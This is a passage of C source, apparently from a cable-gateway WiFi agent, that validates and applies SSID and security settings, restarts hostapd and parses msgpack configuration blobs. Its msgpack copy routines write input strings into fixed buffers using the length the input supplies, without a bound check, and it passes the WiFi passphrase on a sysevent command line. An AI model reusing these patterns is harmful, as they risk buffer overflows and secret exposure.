sec_mode = COSA_DML_WIFI_SECURITY_WPA2_Personal;
strcpy(securityType,"11i");
strcpy(authMode,"SharedAuthentication");
}
#endif
else if (strcmp(mode, "WPA2-Enterprise") == 0) {
sec_mode = COSA_DML_WIFI_SECURITY_WPA2_Enterprise;
strcpy(securityType,"11i");
strcpy(authMode,"EAPAuthentication");
} else if (strcmp(mode, "WPA-WPA2-Enterprise") == 0) {
strcpy(securityType,"WPAand11i");
strcpy(authMode,"EAPAuthentication");
sec_mode = COSA_DML_WIFI_SECURITY_WPA_WPA2_Enterprise;
}
if ((strcmp(encryption, "TKIP") == 0)) {
strcpy(method,"TKIPEncryption");
} else if ((strcmp(encryption, "AES") == 0)) {
strcpy(method,"AESEncryption");
}
#ifndef _XB6_PRODUCT_REQ_
else if ((strcmp(encryption, "AES+TKIP") == 0)) {
strcpy(method,"TKIPandAESEncryption");
}
#endif
/* Apply Security Values to hal */
#ifdef WIFI_HAL_VERSION_3
if ((isVapPrivate(wlan_index)) &&
(sec_mode == COSA_DML_WIFI_SECURITY_None)) {
#else
if (((wlan_index == 0) || (wlan_index == 1)) &&
(sec_mode == COSA_DML_WIFI_SECURITY_None)) {
#endif
retval = wifi_setApWpsEnable(wlan_index, FALSE);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Wps Status\n", __FUNCTION__));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Failed to set Wps Status",sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
}
if (strcmp(cur_sec_cfg->mode_enabled, mode) != 0) {
retval = wifi_setApBeaconType(wlan_index, securityType);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Beacon type\n", __FUNCTION__));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Failed to set Ap Beacon type",sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
CcspWifiTrace(("RDK_LOG_WARN,%s calling setBasicAuthenticationMode ssid : %d authmode : %s \n",
__FUNCTION__,wlan_index, mode));
retval = wifi_setApBasicAuthenticationMode(wlan_index, authMode);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Authentication Mode\n", __FUNCTION__));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Failed to set Ap Auth Mode",sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
strncpy(cur_sec_cfg->mode_enabled, mode, sizeof(cur_sec_cfg->mode_enabled)-1);
cur_sec_cfg->sec_changed = true;
apply_params.hostapd_restart = true;
CcspWifiEventTrace(("RDK_LOG_NOTICE, Wifi security mode %s is Enabled", mode));
CcspWifiTrace(("RDK_LOG_WARN,RDKB_WIFI_CONFIG_CHANGED : Wifi security mode %s is Enabled\n",mode));
CcspTraceInfo(("%s: Security Mode Change Applied for wlan index %d\n", __FUNCTION__,wlan_index));
}
if (strcmp(cur_sec_cfg->passphrase, passphrase) != 0 && (!bForceDisableFlag)) {
CcspTraceInfo(("KeyPassphrase changed for index = %d\n",wlan_index));
retval = wifi_setApSecurityKeyPassphrase(wlan_index, passphrase);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set AP Security Passphrase\n", __FUNCTION__));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Failed to set Passphrase",sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
wifi_setApSecurityPreSharedKey(wlan_index, passphrase);
strncpy(cur_sec_cfg->passphrase, passphrase, sizeof(cur_sec_cfg->passphrase)-1);
apply_params.hostapd_restart = true;
cur_sec_cfg->sec_changed = true;
#ifdef WIFI_HAL_VERSION_3
if (isVapPrivate(wlan_index))
{
PASSPHRASE_UPDATED[getRadioIndexFromAp(wlan_index)] = TRUE;
}
#else
if (wlan_index == 0) {
PASSPHRASE1_UPDATED = TRUE;
} else if (wlan_index == 1) {
PASSPHRASE2_UPDATED = TRUE;
}
#endif
CcspWifiEventTrace(("RDK_LOG_NOTICE, KeyPassphrase changed \n "));
CcspWifiTrace(("RDK_LOG_WARN, KeyPassphrase changed \n "));
CcspWifiTrace(("RDK_LOG_WARN, RDKB_WIFI_CONFIG_CHANGED : %s KeyPassphrase changed for index = %d\n",
__FUNCTION__, wlan_index));
CcspTraceInfo(("%s: Passpharse change applied for wlan index %d\n", __FUNCTION__, wlan_index));
} else if (bForceDisableFlag == TRUE) {
CcspWifiTrace(("RDK_LOG_WARN, WIFI_ATTEMPT_TO_CHANGE_CONFIG_WHEN_FORCE_DISABLED \n"));
}
if ((strcmp(cur_sec_cfg->encryption_method, encryption) != 0) &&
(sec_mode >= COSA_DML_WIFI_SECURITY_WPA_Personal) &&
(sec_mode <= COSA_DML_WIFI_SECURITY_WPA_WPA2_Enterprise)) {
CcspWifiTrace(("RDK_LOG_WARN, RDKB_WIFI_CONFIG_CHANGED :%s Encryption method changed , "
"calling setWpaEncryptionMode Index : %d mode : %s \n",
__FUNCTION__,wlan_index, encryption));
retval = wifi_setApWpaEncryptionMode(wlan_index, method);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to set WPA Encryption Mode\n", __FUNCTION__));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Failed to set Encryption Mode",
sizeof(execRetVal->ErrorMsg)-1);
}
return retval;
}
strncpy(cur_sec_cfg->encryption_method, encryption, sizeof(cur_sec_cfg->encryption_method)-1);
cur_sec_cfg->sec_changed = true;
apply_params.hostapd_restart = true;
CcspTraceInfo(("%s: Encryption mode change applied for wlan index %d\n",
__FUNCTION__, wlan_index));
}
if (cur_sec_cfg->sec_changed) {
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of Security changes\n",__FUNCTION__));
v_secure_system("/usr/bin/sysevent set wifi_ApSecurity \"RDK|%d|%s|%s|%s\"",wlan_index, passphrase, authMode, method);
}
#if (!defined(_XB6_PRODUCT_REQ_) || defined (_XB7_PRODUCT_REQ_))
BOOL up;
#ifdef WIFI_HAL_VERSION_3
up = pssid_entry->ssid[getRadioIndexFromAp(wlan_index)].enable;
#else
if ((wlan_index % 2) == 0) {
up = pssid_entry->ssid_2g.enable;
} else {
up = pssid_entry->ssid_5g.enable;
}
#endif
if ((cur_sec_cfg->sec_changed) && (up == TRUE)) {
BOOL enable_wps = FALSE;
#ifdef CISCO_XB3_PLATFORM_CHANGES
BOOL wps_cfg = 0;
retval = wifi_getApWpsEnable(wlan_index, &wps_cfg);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to get Ap Wps Enable\n", __FUNCTION__));
return retval;
}
enable_wps = (wps_cfg == 0) ? FALSE : TRUE;
#else
retval = wifi_getApWpsEnable(wlan_index, &enable_wps);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to get Ap Wps Enable\n", __FUNCTION__));
return retval;
}
#endif
retval = wifi_removeApSecVaribles(wlan_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to remove Ap Sec variables\n", __FUNCTION__));
return retval;
}
#if !defined(_XB7_PRODUCT_REQ_) && !defined(_XB8_PRODUCT_REQ_) && !defined(_CBR2_PRODUCT_REQ)
retval = wifi_disableApEncryption(wlan_index);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to disable AP Encryption\n",__FUNCTION__));
return retval;
}
#endif
if (sec_mode == COSA_DML_WIFI_SECURITY_None) {
retval = wifi_createHostApdConfig(wlan_index, TRUE);
}
#if (!defined(DUAL_CORE_XB3) || defined(CISCO_XB3_PLATFORM_CHANGES))
else {
retval = wifi_createHostApdConfig(wlan_index, enable_wps);
}
#endif
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to create Host Apd Config\n",__FUNCTION__));
return retval;
}
if (wifi_setApEnable(wlan_index, TRUE) != RETURN_OK) {
CcspTraceError(("%s: wifi_setApEnable failed index %d\n",__FUNCTION__,wlan_index));
}
CcspTraceInfo(("%s: Security changes applied for wlan index %d\n",
__FUNCTION__, wlan_index));
}
#endif /* #if (!defined(_XB6_PRODUCT_REQ_) || defined (_XB7_PRODUCT_REQ_)) */
return RETURN_OK;
}
#ifdef WIFI_HAL_VERSION_3
ANSC_STATUS updateDMLConfigPerRadio(UINT radioIndex)
{
UINT vapCount = 0;
UINT vapArrayInstance = 0;
UINT vapIndex = 0;
PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
PCOSA_DML_WIFI_SSID pWifiSsid = (PCOSA_DML_WIFI_SSID )NULL;
PCOSA_DML_WIFI_AP pWifiAp = (PCOSA_DML_WIFI_AP )NULL;
PCOSA_CONTEXT_LINK_OBJECT pLinkObj = (PCOSA_CONTEXT_LINK_OBJECT)NULL;
for (vapCount = 0; vapCount < vap_map_per_radio[radioIndex].num_vaps; vapCount++)
{
//Update the DML cache from VAP structure
vapIndex = vap_map_per_radio[radioIndex].vap_array[vapCount].vap_index;
vapArrayInstance = vapIndex+1;
CcspWifiTrace(("RDK_LOG_INFO, %s Updating VAP DML Structure for vapIndex : %d \n", __FUNCTION__, vapIndex));
pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
pLinkObj = CosaSListGetEntryByInsNum((PSLIST_HEADER)&pMyObject->SsidQueue, vapArrayInstance);
pWifiSsid = pLinkObj->hContext;
CosaDmlWiFiSsidGetCfg((ANSC_HANDLE)pMyObject->hPoamWiFiDm, &(pWifiSsid->SSID.Cfg));
CosaDmlWiFiSsidGetSinfo((ANSC_HANDLE)pMyObject->hPoamWiFiDm, vapArrayInstance, &(pWifiSsid->SSID.StaticInfo));
pLinkObj = CosaSListGetEntryByInsNum((PSLIST_HEADER)&pMyObject->AccessPointQueue, vapArrayInstance);
pWifiAp = pLinkObj->hContext;
CosaDmlWiFiApGetEntry((ANSC_HANDLE)pMyObject->hPoamWiFiDm, pWifiSsid->SSID.StaticInfo.Name, &pWifiAp->AP);
ccspWifiDbgPrint(CCSP_WIFI_TRACE, " %s Updating AP DML structure for vapindex : %d Instancenumber : %d Name : %s\n", __FUNCTION__, vapIndex, sWiFiDmlApStoredCfg[vapIndex].Cfg.InstanceNumber, pWifiSsid->SSID.StaticInfo.Name);
CosaDmlWiFiApSecGetEntry((ANSC_HANDLE)pMyObject->hPoamWiFiDm, pWifiSsid->SSID.StaticInfo.Name, &pWifiAp->SEC);
CosaDmlWiFiApWpsGetEntry((ANSC_HANDLE)pMyObject->hPoamWiFiDm, pWifiSsid->SSID.StaticInfo.Name, &pWifiAp->WPS);
CcspWifiTrace(("RDK_LOG_INFO, %s Successful Update VAP DML Structure for vapIndex : %d \n", __FUNCTION__, vapIndex));
//Call the respective setPSM function to update the PSM Values
CosaDmlWiFiSetAccessPointPsmData(&pWifiAp->AP.Cfg);
CosaDmlWiFiSetApMacFilterPsmData(vapIndex, &pWifiAp->MF);
CcspWifiTrace(("RDK_LOG_INFO, %s Successful Update PSM for vapIndex : %d \n", __FUNCTION__, vapIndex));
}
return ANSC_STATUS_SUCCESS;
}
#endif
int wifi_reset_radio()
{
int retval = RETURN_ERR;
PCOSA_DATAMODEL_WIFI pMyObject = (PCOSA_DATAMODEL_WIFI)g_pCosaBEManager->hWifi;
uint8_t i;
#ifdef DUAL_CORE_XB3
wifi_initRadio(0);
#endif
#ifdef WIFI_HAL_VERSION_3
for (i = 0;i < getNumberRadios();i++)
#else
for (i = 0;i < 2;i++)
#endif
{
if (gradio_restart[i]) {
#if defined(_INTEL_WAV_)
wifi_applyRadioSettings(i);
#elif !defined(DUAL_CORE_XB3)
wifi_initRadio(i);
#endif
#if defined WIFI_HAL_VERSION_3
retval = CosaWifiReInitialize((ANSC_HANDLE)pMyObject, i, (i==0)?TRUE:FALSE);
#else
retval = CosaWifiReInitialize((ANSC_HANDLE)pMyObject, i);
#endif //WIFI_HAL_VERSION_3
if (retval != RETURN_OK) {
CcspTraceError(("%s: CosaWifiReInitialize Failed for Radio %u with retval %u\n",__FUNCTION__,i, retval));
}
#if defined(ENABLE_FEATURE_MESHWIFI)
ULONG channel = 0;
PCOSA_DML_WIFI_RADIO pWifiRadio = NULL;
pWifiRadio = pMyObject->pRadio+i;
channel = pWifiRadio->Radio.Cfg.Channel;
// notify mesh components that wifi radio settings changed
CcspWifiTrace(("RDK_LOG_INFO,WIFI %s : Notify Mesh of Radio Config changes channel %lu\n",__FUNCTION__,channel));
v_secure_system("/usr/bin/sysevent set wifi_RadioChannel 'RDK|%lu|%lu'", (ULONG)i, channel);
#endif
}
#ifdef WIFI_HAL_VERSION_3
else
{
updateDMLConfigPerRadio(i);
}
#endif //WIFI_HAL_VERSION_3
}
Load_Hotspot_APIsolation_Settings();
Update_Hotspot_MacFilt_Entries(true);
return RETURN_OK;
}
/**
* Applies Radio settings
*
* return 0 on success, error otherwise
*/
char *wifi_apply_radio_settings()
{
#ifndef WIFI_HAL_VERSION_3
int retval = RETURN_ERR;
if (gradio_restart[0] || gradio_restart[1]) {
retval = wifi_reset_radio();
if (retval != RETURN_OK) {
CcspTraceError(("%s: wifi_reset_radio failed %d\n",__FUNCTION__,retval));
return "wifi_reset_radio failed";
}
gradio_restart[0] = FALSE;
gradio_restart[1] = FALSE;
}
if (gHostapd_restart_reqd || apply_params.hostapd_restart) {
#if (defined(_COSA_INTEL_USG_ATOM_) && !defined(_INTEL_WAV_) ) || ( (defined(_COSA_BCM_ARM_) || defined(_PLATFORM_TURRIS_)) && !defined(_CBR_PRODUCT_REQ_) && !defined(_XB7_PRODUCT_REQ_) )
wifi_restartHostApd();
#else
if (wifi_stopHostApd() != RETURN_OK) {
CcspTraceError(("%s: Failed restart hostapd\n",__FUNCTION__));
return "wifi_stopHostApd failed";
}
if (wifi_startHostApd() != RETURN_OK) {
CcspTraceError(("%s: Failed restart hostapd\n",__FUNCTION__));
return "wifi_startHostApd failed";
}
#endif
CcspTraceInfo(("%s: Restarted Hostapd successfully\n", __FUNCTION__));
#if (defined(_COSA_BCM_ARM_) && defined(_XB7_PRODUCT_REQ_)) || defined(_XB8_PRODUCT_REQ_) || defined(_CBR2_PRODUCT_REQ)
/* Converting brcm patch to code and this code will be removed as part of Hal Version 3 changes */
fprintf(stderr, "%s: calling wifi_apply()...\n", __func__);
wifi_apply();
#endif
#if (defined(_XB6_PRODUCT_REQ_) && !defined(_XB7_PRODUCT_REQ_))
/* XB6 some cases needs AP Interface UP/Down for hostapd pick up security changes */
char status[8] = {0};
bool enable = false;
uint8_t wlan_index = 0;
int retval = RETURN_ERR;
retval = wifi_getSSIDStatus(wlan_index, status);
if (retval == RETURN_OK) {
enable = (strcmp(status, "Enabled") == 0) ? true : false;
if (wifi_setApEnable(wlan_index, enable) != RETURN_OK) {
CcspTraceError(("%s: Error enabling AP Interface",__FUNCTION__));
return "wifi_setApEnable failed";
}
}
CcspTraceInfo(("%s:AP Interface UP Successful\n", __FUNCTION__));
#endif
gHostapd_restart_reqd = false;
apply_params.hostapd_restart = false;
}
#endif
return NULL;
}
/**
* Validation of WiFi SSID Parameters
*
* @param wlan_index AP Index
*
* returns 0 on success, error otherwise
*/
int webconf_validate_wifi_ssid_params (webconf_wifi_t *pssid_entry, uint8_t wlan_index,
pErr execRetVal)
{
char *ssid_name = NULL;
int ssid_len = 0;
int i = 0, j = 0;
char ssid_char[COSA_DML_WIFI_MAX_SSID_NAME_LEN] = {0};
char ssid_lower[COSA_DML_WIFI_MAX_SSID_NAME_LEN] = {0};
#ifdef WIFI_HAL_VERSION_3
ssid_name = pssid_entry->ssid[getRadioIndexFromAp(wlan_index)].ssid_name;
#else
if ((wlan_index % 2) == 0) {
ssid_name = pssid_entry->ssid_2g.ssid_name;
} else {
ssid_name = pssid_entry->ssid_5g.ssid_name;
}
#endif
ssid_len = strlen(ssid_name);
if ((ssid_len == 0) || (ssid_len > COSA_DML_WIFI_MAX_SSID_NAME_LEN)) {
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Invalid SSID string size",sizeof(execRetVal->ErrorMsg)-1);
}
CcspTraceError(("%s: Invalid SSID size for wlan index %d \n",__FUNCTION__, wlan_index));
return RETURN_ERR;
}
while (i < ssid_len) {
ssid_lower[i] = tolower(ssid_name[i]);
if (isalnum(ssid_name[i]) != 0) {
ssid_char[j++] = ssid_lower[i];
}
i++;
}
ssid_lower[i] = '\0';
ssid_char[j] = '\0';
for (i = 0; i < ssid_len; i++) {
if (!((ssid_name[i] >= ' ') && (ssid_name[i] <= '~'))) {
CcspTraceError(("%s: Invalid character present in SSID %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Invalid character in SSID",sizeof(execRetVal->ErrorMsg)-1);
}
return RETURN_ERR;
}
}
/* SSID containing "optimumwifi", "TWCWiFi", "cablewifi" and "xfinitywifi" are reserved */
if ((strstr(ssid_char, "cablewifi") != NULL) || (strstr(ssid_char, "twcwifi") != NULL) || (strstr(ssid_char, "optimumwifi") != NULL) ||
(strstr(ssid_char, "xfinitywifi") != NULL) || (strstr(ssid_char, "xfinity") != NULL) || (strstr(ssid_char, "coxwifi") != NULL) ||
(strstr(ssid_char, "spectrumwifi") != NULL) || (strstr(ssid_char, "shawopen") != NULL) || (strstr(ssid_char, "shawpasspoint") != NULL) ||
(strstr(ssid_char, "shawguest") != NULL) || (strstr(ssid_char, "shawmobilehotspot") != NULL)) {
CcspTraceError(("%s: Reserved SSID format used for ssid %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Reserved SSID format used",sizeof(execRetVal->ErrorMsg)-1);
}
return RETURN_ERR;
}
return RETURN_OK;
}
/**
* Validates Wifi Security Paramters
*
* @param wlan_index AP Index
*
* returns 0 on success, error otherwise
*/
int webconf_validate_wifi_security_params (webconf_wifi_t *pssid_entry, uint8_t wlan_index,
pErr execRetVal)
{
char *passphrase = NULL;
char *mode_enabled = NULL;
char *encryption_method = NULL;
int pass_len = 0;
#ifdef WIFI_HAL_VERSION_3
UINT radioIndex = getRadioIndexFromAp(wlan_index);
passphrase = pssid_entry->security[radioIndex].passphrase;
mode_enabled = pssid_entry->security[radioIndex].mode_enabled;
encryption_method = pssid_entry->security[radioIndex].encryption_method;
#else
if ((wlan_index % 2) == 0) {
passphrase = pssid_entry->security_2g.passphrase;
mode_enabled = pssid_entry->security_2g.mode_enabled;
encryption_method = pssid_entry->security_2g.encryption_method;
} else {
passphrase = pssid_entry->security_5g.passphrase;
mode_enabled = pssid_entry->security_5g.mode_enabled;
encryption_method = pssid_entry->security_5g.encryption_method;
}
#endif
/* Sanity Checks */
if ((strcmp(mode_enabled, "None") != 0) && (strcmp(mode_enabled, "WEP-64") != 0) && (strcmp(mode_enabled, "WEP-128") !=0) &&
(strcmp(mode_enabled, "WPA-Personal") != 0) && (strcmp(mode_enabled, "WPA2-Personal") != 0) &&
(strcmp(mode_enabled, "WPA-WPA2-Personal") != 0) && (strcmp(mode_enabled, "WPA2-Enterprise") != 0) &&
(strcmp(mode_enabled, "WPA-WPA2-Enterprise") != 0) && (strcmp(mode_enabled, "WPA-Enterprise") !=0)) {
CcspTraceError(("%s: Invalid Security Mode for wlan index %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Invalid Security Mode",sizeof(execRetVal->ErrorMsg)-1);
}
return RETURN_ERR;
}
if ((strcmp(mode_enabled, "None") != 0) &&
((strcmp(encryption_method, "TKIP") != 0) && (strcmp(encryption_method, "AES") != 0) &&
(strcmp(encryption_method, "AES+TKIP") != 0))) {
CcspTraceError(("%s: Invalid Encryption Method for wlan index %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Invalid Encryption Method",sizeof(execRetVal->ErrorMsg)-1);
}
return RETURN_ERR;
}
if (((strcmp(mode_enabled, "WPA-WPA2-Enterprise") == 0) || (strcmp(mode_enabled, "WPA-WPA2-Personal") == 0)) &&
((strcmp(encryption_method, "AES+TKIP") != 0) && (strcmp(encryption_method, "AES") != 0))) {
CcspTraceError(("%s: Invalid Encryption Security Combination for wlan index %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Invalid Encryption Security Combination",sizeof(execRetVal->ErrorMsg)-1);
}
return RETURN_ERR;
}
pass_len = strlen(passphrase);
if ((pass_len < MIN_PWD_LEN) || (pass_len > MAX_PWD_LEN)) {
CcspTraceInfo(("%s: Invalid Key passphrase length index %d\n",__FUNCTION__, wlan_index));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg,"Invalid Passphrase length",sizeof(execRetVal->ErrorMsg)-1);
}
return RETURN_ERR;
}
CcspTraceInfo(("%s: Security Params validated Successfully for wlan index %d\n",__FUNCTION__, wlan_index));
return RETURN_OK;
}
/**
* Function to call WiFi Apply Handlers (SSID, Security)
*
* returns 0 on success, error otherwise
*/
int webconf_apply_wifi_param_handler (webconf_wifi_t *pssid_entry, pErr execRetVal,uint8_t ssid)
{
int retval = RETURN_ERR;
char *err = NULL;
uint8_t i = 0, wlan_index = 0;
#ifdef WIFI_HAL_VERSION_3
for (i = 0; i < getTotalNumberVAPs(); i++)
{
if ( (ssid == WIFI_WEBCONFIG_PRIVATESSID && isVapPrivate(i)) || (ssid == WIFI_WEBCONFIG_HOMESSID && isVapXhs(i)) )
{
#else
if (ssid == WIFI_WEBCONFIG_PRIVATESSID) {
wlan_index = 0;
} else if (ssid == WIFI_WEBCONFIG_HOMESSID) {
wlan_index = 2;
}
for (i = wlan_index;i < (wlan_index+2); i++) {
#endif
retval = webconf_apply_wifi_ssid_params(pssid_entry, i, execRetVal);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to apply ssid params for ap index %d\n",
__FUNCTION__, wlan_index));
return retval;
}
retval = webconf_apply_wifi_security_params(pssid_entry, i, execRetVal);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to apply security params for ap index %d\n",
__FUNCTION__, wlan_index));
return retval;
}
#ifdef WIFI_HAL_VERSION_3
}
#endif
}
err = wifi_apply_radio_settings();
if (err != NULL) {
CcspTraceError(("%s: Failed to Apply Radio settings\n", __FUNCTION__));
if (execRetVal) {
strncpy(execRetVal->ErrorMsg, err,sizeof(execRetVal->ErrorMsg)-1);
}
return RETURN_ERR;
}
return RETURN_OK;
}
/**
* Function to call WiFi Validation handlers (SSID, Seurity)
*
* returns 0 on success, error otherwise
*/
int webconf_validate_wifi_param_handler (webconf_wifi_t *pssid_entry, pErr execRetVal,uint8_t ssid)
{
uint8_t i = 0, wlan_index = 0;
int retval = RETURN_ERR;
#ifdef WIFI_HAL_VERSION_3
for (i = 0; i < getTotalNumberVAPs(); i++)
{
if ( (ssid == WIFI_WEBCONFIG_PRIVATESSID && isVapPrivate(i)) || (ssid == WIFI_WEBCONFIG_HOMESSID && isVapXhs(i)) )
{
#else
if (ssid == WIFI_WEBCONFIG_PRIVATESSID) {
wlan_index = 0;
} else if (ssid == WIFI_WEBCONFIG_HOMESSID) {
wlan_index = 2;
}
for (i = wlan_index;i < (wlan_index+2); i++) {
#endif
retval = webconf_validate_wifi_ssid_params(pssid_entry, i, execRetVal);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to validate ssid params for ap index %d\n",
__FUNCTION__,wlan_index));
return retval;
}
retval = webconf_validate_wifi_security_params(pssid_entry, i, execRetVal);
if (retval != RETURN_OK) {
CcspTraceError(("%s: Failed to validate security params for ap index %d\n",
__FUNCTION__, wlan_index));
return retval;
}
#ifdef WIFI_HAL_VERSION_3
}
#endif
}
return RETURN_OK;
}
/*
* Function to rollback to previous configs if apply failed
*
* @returns 0 on success, failure otherwise
*/
int webconf_ssid_rollback_handler()
{
webconf_wifi_t *prev_config = NULL;
uint8_t ssid_type = 0;
prev_config = (webconf_wifi_t *) malloc(sizeof(webconf_wifi_t));
if (!prev_config) {
CcspTraceError(("%s: Memory allocation error\n", __FUNCTION__));
return RETURN_ERR;
}
memset(prev_config, 0, sizeof(webconf_wifi_t));
if (strncmp(curr_config->subdoc_name, "privatessid",strlen("privatessid")) == 0) {
ssid_type = WIFI_WEBCONFIG_PRIVATESSID;
} else if (strncmp(curr_config->subdoc_name,"homessid",strlen("homessid")) == 0) {
ssid_type = WIFI_WEBCONFIG_HOMESSID;
}
if (webconf_populate_initial_dml_config(prev_config, ssid_type) != RETURN_OK) {
CcspTraceError(("%s: Failed to copy initial configs\n", __FUNCTION__));
free(prev_config);
return RETURN_ERR;
}
if (webconf_apply_wifi_param_handler(prev_config, NULL, ssid_type) != RETURN_OK) {
CcspTraceError(("%s: Rollback of webconfig params failed!!\n",__FUNCTION__));
free(prev_config);
return RETURN_ERR;
}
CcspTraceInfo(("%s: Rollback of webconfig params applied successfully\n",__FUNCTION__));
free(prev_config);
return RETURN_OK;
}
/* API to free the resources after blob apply*/
void webconf_ssid_free_resources(void *arg)
{
CcspTraceInfo(("Entering: %s\n",__FUNCTION__));
if (arg == NULL) {
CcspTraceError(("%s: Input Data is NULL\n",__FUNCTION__));
return;
}
execData *blob_exec_data = (execData*) arg;
webconf_wifi_t *ps_data = (webconf_wifi_t *) blob_exec_data->user_data;
free(blob_exec_data);
if (ps_data != NULL) {
free(ps_data);
ps_data = NULL;
CcspTraceInfo(("%s:Success in Clearing wifi webconfig resources\n",__FUNCTION__));
}
}
/*
* Function to deserialize ssid params from msgpack object
*
* @param obj Pointer to msgpack object
* @param ssid Pointer to wifi ssid structure
*
* returns 0 on success, error otherwise
*/
int webconf_copy_wifi_ssid_params(msgpack_object obj, webconf_ssid_t *ssid) {
unsigned int i;
msgpack_object_kv* p = obj.via.map.ptr;
for(i = 0;i < obj.via.map.size;i++) {
if (strncmp(p->key.via.str.ptr, "SSID",p->key.via.str.size) == 0) {
if (p->val.type == MSGPACK_OBJECT_STR) {
strncpy(ssid->ssid_name,p->val.via.str.ptr, p->val.via.str.size);
ssid->ssid_name[p->val.via.str.size] = '\0';
} else {
CcspTraceError(("%s:Invalid value type for SSID",__FUNCTION__));
return RETURN_ERR;
}
}
else if (strncmp(p->key.via.str.ptr, "Enable",p->key.via.str.size) == 0) {
if (p->val.type == MSGPACK_OBJECT_BOOLEAN) {
if (p->val.via.boolean) {
ssid->enable = true;
} else {
ssid->enable = false;
}
} else {
CcspTraceError(("%s:Invalid value type for SSID Enable",__FUNCTION__));
return RETURN_ERR;
}
}
else if (strncmp(p->key.via.str.ptr, "SSIDAdvertisementEnabled",p->key.via.str.size) == 0) {
if (p->val.type == MSGPACK_OBJECT_BOOLEAN) {
if (p->val.via.boolean) {
ssid->ssid_advertisement_enabled = true;
} else {
ssid->ssid_advertisement_enabled = false;
}
} else {
CcspTraceError(("%s:Invalid value type for SSID Advtertisement",__FUNCTION__));
return RETURN_ERR;
}
}
++p;
}
return RETURN_OK;
}
/*
* Function to deserialize security params from msgpack object
*
* @param obj Pointer to msgpack object
* @param ssid Pointer to wifi security structure
*
* returns 0 on success, error otherwise
*/
int webconf_copy_wifi_security_params(msgpack_object obj, webconf_security_t *security) {
unsigned int i;
msgpack_object_kv* p = obj.via.map.ptr;
for(i = 0;i < obj.via.map.size;i++) {
if (strncmp(p->key.via.str.ptr, "Passphrase",p->key.via.str.size) == 0) {
if (p->val.type == MSGPACK_OBJECT_STR) {
strncpy(security->passphrase,p->val.via.str.ptr, p->val.via.str.size);
security->passphrase[p->val.via.str.size] = '\0';
} else {
CcspTraceError(("%s:Invalid value type for Security passphrase",__FUNCTION__));
return RETURN_ERR;
}
}
else if (strncmp(p->key.via.str.ptr, "EncryptionMethod",p->key.via.str.size) == 0) {
if (p->val.type == MSGPACK_OBJECT_STR) {
strncpy(security->encryption_method,p->val.via.str.ptr, p->val.via.str.size);
security->encryption_method[p->val.via.str.size] = '\0';
} else {
CcspTraceError(("%s:Invalid value type for Encryption method",__FUNCTION__));
return RETURN_ERR;
}
}
else if (strncmp(p->key.via.str.ptr, "ModeEnabled",p->key.via.str.size) == 0) {
if (p->val.type == MSGPACK_OBJECT_STR) {
strncpy(security->mode_enabled,p->val.via.str.ptr, p->val.via.str.size);
security->mode_enabled[p->val.via.str.size] = '\0';
} else {
CcspTraceError(("%s:Invalid value type for Authentication mode",__FUNCTION__));
return RETURN_ERR;
}
}
++p;
}
return RETURN_OK;
}
/**
* Function to calculate timeout value for executing the blob
*
* @param numOfEntries Number of Entries of blob
*
* returns timeout value
*/
size_t webconf_ssid_timeout_handler(size_t numOfEntries)
{
#if defined(_XB6_PRODUCT_REQ_) && !defined (_XB7_PRODUCT_REQ_)
return (numOfEntries * XB6_DEFAULT_TIMEOUT);
#else
return (numOfEntries * SSID_DEFAULT_TIMEOUT);
#endif
}
/**
* Execute blob request callback handler
*
* @param Data Pointer to structure holding wifi parameters
*
* returns pErr structure populated with return code and error string incase of failure
*
*/
pErr webconf_wifi_ssid_config_handler(void *Data)
{
pErr execRetVal = NULL;
int retval = RETURN_ERR;
uint8_t ssid_type = 0;
if (Data == NULL) {
CcspTraceError(("%s: Input Data is NULL\n",__FUNCTION__));
return execRetVal;
}
webconf_wifi_t *ps = (webconf_wifi_t *) Data;
if(strncmp(ps->subdoc_name,"privatessid",strlen("privatessid")) == 0) {
ssid_type = WIFI_WEBCONFIG_PRIVATESSID;
} else if (strncmp(ps->subdoc_name,"homessid",strlen("homessid")) == 0) {
ssid_type = WIFI_WEBCONFIG_HOMESSID;
}
/* Copy the initial configs */
if (webconf_alloc_current_cfg(ssid_type) != RETURN_OK) {
CcspTraceError(("%s: Failed to copy the current config\n",__FUNCTION__));
return execRetVal;
}
strncpy(curr_config->subdoc_name, ps->subdoc_name, sizeof(curr_config->subdoc_name)-1);
execRetVal = (pErr ) malloc (sizeof(Err));
if (execRetVal == NULL )
{
CcspTraceError(("%s : Malloc failed\n",__FUNCTION__));
return execRetVal;
}
